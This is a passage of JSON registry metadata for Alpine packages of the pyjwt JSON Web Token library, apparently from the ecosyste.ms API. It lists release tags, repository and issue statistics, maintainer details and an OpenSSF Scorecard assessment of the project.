/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.208Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":29.555125725338492,"stargazers_count":1.9729206963249517,"forks_count":2.0502901353965184,"average":8.39458413926499},"purl":"pkg:apk/alpine/py-jwt-cli?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.10","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py-jwt-cli","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py-jwt-cli","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py-jwt-cli/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt-cli/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt-cli/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt-cli/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt-cli/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt-cli/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt-cli/codemeta","maintainers":[],"registry":{"name":"alpine-v3.10","url":"https://pkgs.alpinelinux.org/packages?branch=v3.10","ecosystem":"alpine","default":false,"packages_count":10340,"maintainers_count":177,"namespaces_count":2,"keywords_count":925,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":396},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.780Z","updated_at":"2026-06-10T05:17:28.781Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/namespaces"}},{"id":11765732,"name":"py3-jwt-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-jwt","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2025-04-27T22:28:00.000Z","latest_release_published_at":"2025-04-27T22:28:00.000Z","latest_release_number":"2.10.1-r0","last_synced_at":"2026-04-15T02:06:59.112Z","created_at":"2025-06-07T18:27:39.931Z","updated_at":"2026-05-29T04:00:35.257Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.22/community/x86_64/py3-jwt-pyc","install_command":"apk add py3-jwt-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","k